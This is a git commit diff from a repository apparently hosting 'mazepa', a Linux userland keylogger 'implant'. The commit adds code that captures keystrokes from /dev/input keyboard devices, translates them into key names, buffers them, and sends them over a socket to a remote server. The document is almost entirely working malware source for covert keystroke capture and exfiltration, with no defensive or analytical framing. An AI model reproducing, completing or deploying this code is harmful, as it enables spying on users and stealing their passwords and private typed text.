mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit 37dc9e70c5eaecbb61777928707e31f982588d38
parent 113628df96452c735b2730ba2f48cf65e01fa6f5
Author: winds0r <[email protected]>
Date: Fri, 29 Sep 2023 16:06:40 +0200

fieat(implant): added net-relaying capabilites

Diffstat:
Mimplant/includes/implant.h | 9++++++---
Mimplant/sources/logger.c | 44++++++++++++++++++++++++++++++++++++--------
Mimplant/sources/main.c | 2+-
Mimplant/sources/net.c | 56++++++++++++++++++++++++++++++++++++++++++++++++++++++--

4 files changed, 97 insertions(+), 14 deletions(-)

diff --git a/implant/includes/implant.h b/implant/includes/implant.h
@@ -20,6 +20,8 @@
 
 #define QUEUE_BUFFER_SIZE 1024
 
+#define STRING_BUFFER_SIZE 256
+
 /*
     represents whatever data is currently logged for a single keyboard
     also holds its file descriptor
@@ -31,7 +33,7 @@ struct keyboard_s {
     ssize_t nb_chars;
     char buffer[QUEUE_BUFFER_SIZE];
 
-    char name[64];
+    char name[STRING_BUFFER_SIZE];
     TAILQ_ENTRY(keyboard_s) devices;
 };
 
@@ -46,7 +48,7 @@ typedef struct implant_s {
 
     /* remote connection settings */
     unsigned short port;
-    char ip[256];
+    char ip[STRING_BUFFER_SIZE];
     int disable_net:1;
 
     /* keyboard settings */
@@ -74,12 +76,13 @@ typedef struct implant_s {
 
 // net.c
 int init_remote_connection(implant_t *);
+int send_key_description(int, char [STRING_BUFFER_SIZE]);
 
 // opt.c
 int parse_user_input(int, char **, implant_t *);
 
 // logger.c
-void keylog(implant_t *);
+void keylog(implant_t *, int);
 
 // keyboard.c
 void fetch_available_keyboards(implant_t *);
diff --git a/implant/sources/logger.c b/implant/sources/logger.c
@@ -30,10 +30,20 @@ static int get_highest_fd(implant_t *instance) {
     return highest_fd;
 }
 
-static int log_keyboard(int fd, struct xkb_state *state) {
+static int log_keyboard(int fd, struct xkb_state *state, char *key_desc_ptr[STRING_BUFFER_SIZE]) {
     struct input_event evt = {0};
     static bool shift_pressed = false;
 
+
+
+    /*
+        read events out of /dev/input/by-path/${**}-kbd
+
+    TODO:
+        for now, we only read one, but we can attempt to read them in
+        bulk of 6-10 once bufferizing messages is implemented
+    */
+
     ssize_t bytes_read = read(fd, &evt, sizeof(evt));
     if (bytes_read != sizeof(evt)) {
 
@@ -44,6 +54,7 @@ static int log_keyboard(int fd, struct xkb_state *state) {
         return ERROR;
     }
 
+    /* checking is we are in MAJ key. TODO: check if CAPS_LOCK is enabled or not. */
     if (evt.type == EV_KEY && evt.value == KEY_RELEASED) {
         if (evt.code == KEY_LEFTSHIFT || evt.code == KEY_RIGHTSHIFT) {
             shift_pressed = false;
@@ -58,17 +69,25 @@ static int log_keyboard(int fd, struct xkb_state *state) {
             return SUCCESSFUL;
         }
 
-        char key_description[256] = {0};
+        /*
+            TODO:
+
+            1) add support for xlib as well, so that wayland AND xlib are
+            supported. this should allow us to then relay those without issues
+
+            2) add check for which library is installed & add abstraction layer
+        */
+
         xkb_keysym_t keysym = xkb_state_key_get_one_sym(state, evt.code + 8);
 
         if (shift_pressed)
             keysym = xkb_keysym_to_upper(keysym);
 
-        xkb_keysym_get_name(keysym, key_description, 256);
+        xkb_keysym_get_name(keysym, *key_desc_ptr, STRING_BUFFER_SIZE);
 
 #ifdef DEBUG
         /* tracing this in stdout so that errors can be cleanly sent to a file */
-        printf("[+] Key pressed: %s\n", key_description);
+        printf("[+] Key pressed: %s\n", *key_desc_ptr);
 #endif
 
     }
@@ -80,7 +99,7 @@ static int log_keyboard(int fd, struct xkb_state *state) {
 /*
     main loop to listen for keys and stuff
 */
-void keylog(implant_t *instance) {
+void keylog(implant_t *instance, int sockfd) {
 
 
     /* first set up select etc */
@@ -101,7 +120,7 @@ void keylog(implant_t *instance) {
     /*
        initialize xkbcommon context
 
-       this is the stuff that allows us to maps keys to
+       this is the stuff that allows us to map keys to
        the correct language & manages special characters, shift, etc.
     */
 
@@ -142,7 +161,7 @@ void keylog(implant_t *instance) {
 
 
     /* run the damn loop */
-    while (1312) {
+    while (0x520) {
 
         /* setup FD-sets */
         keyboard_t *it = NULL;
@@ -197,11 +216,17 @@ void keylog(implant_t *instance) {
             /* checking for new input here */
             if (FD_ISSET(it->fd, &rd)) {
 
+                char key_desc[STRING_BUFFER_SIZE] = {0};
+
                 /*
                     should we really kill the run here or can we recover this ?
                     i need to run some tests before making a decision.
                 */
-                if (log_keyboard(it->fd, state) == ERROR)
+                if (ERROR == log_keyboard(it->fd, state, (char **)&key_desc))
+                    goto LOG_FUNCTION_CLEANUP;
+
+
+                if (ERROR == send_key_description(sockfd, key_desc))
                     goto LOG_FUNCTION_CLEANUP;
             }
 
@@ -211,6 +236,9 @@ void keylog(implant_t *instance) {
 
 
 LOG_FUNCTION_CLEANUP:
+
+    /* TODO: close the file descriptors */
+
     if (state != NULL)
         xkb_state_unref(state);
 
diff --git a/implant/sources/main.c b/implant/sources/main.c
@@ -30,6 +30,6 @@ int main(int ac, char **av) {
     if (sockfd < 0)
         return 1;
 
-    keylog(&instance);
+    keylog(&instance, sockfd);
     return 0;
 }
diff --git a/implant/sources/net.c b/implant/sources/net.c
@@ -2,11 +2,10 @@
 /*
     this file holds all of the functions needed for communicating with the
     remote server
-
-
 */
 
 
+#include <string.h>
 #include <sys/socket.h>
 #include <arpa/inet.h>
 #include <netinet/in.h>
@@ -16,6 +15,59 @@
 
 #include "implant.h"
 
+
+int send_key_description(int sockfd, char key_desc[STRING_BUFFER_SIZE]) {
+
+    /*
+        creates a standalone buffer of at least 10 * STRING_BUFFER_SIZE,
+        and only sends a message once the buffer size is full.
+
+        it is the responsability of the user to not pick a STRING_BUFFER_SIZE
+        such that a size_t can hold 10 times its size in nb of characters.
+    */
+
+    const size_t max_nb_chars = STRING_BUFFER_SIZE * 10 - 1;
+    static char tmp_buffer[STRING_BUFFER_SIZE * 10] = { 0 };
+    static size_t nb_chars_in_buffer = 0;
+
+    size_t length_keydesc = strlen(key_desc);
+    if (max_nb_chars < (nb_chars_in_buffer + length_keydesc)) {
+
+        if (-1 == send(sockfd, tmp_buffer, nb_chars_in_buffer, 0)) {
+
+#ifdef DEBUG
+            perror("send");
+#endif
+            return ERROR;
+        }
+
+        memset(tmp_buffer, 0, nb_chars_in_buffer);
+        nb_chars_in_buffer = 0;
+
+        if (NULL == strncpy(tmp_buffer, key_desc, max_nb_chars)) {
+#ifdef DEBUG
+            perror("strncpy send_key_description");
+#endif
+            return ERROR;
+        }
+
+    } else {
+
+        if (NULL == strncat(tmp_buffer, key_desc, max_nb_chars - nb_chars_in_buffer)) {
+#ifdef DEBUG
+            perror("strncat send_key_description");
+#endif
+            return ERROR;
+        }
+
+    }
+
+    nb_chars_in_buffer = strlen(tmp_buffer);
+    return SUCCESSFUL;
+}
+
+
+
 int init_remote_connection(implant_t *instance) {
 
 #ifdef DEBUG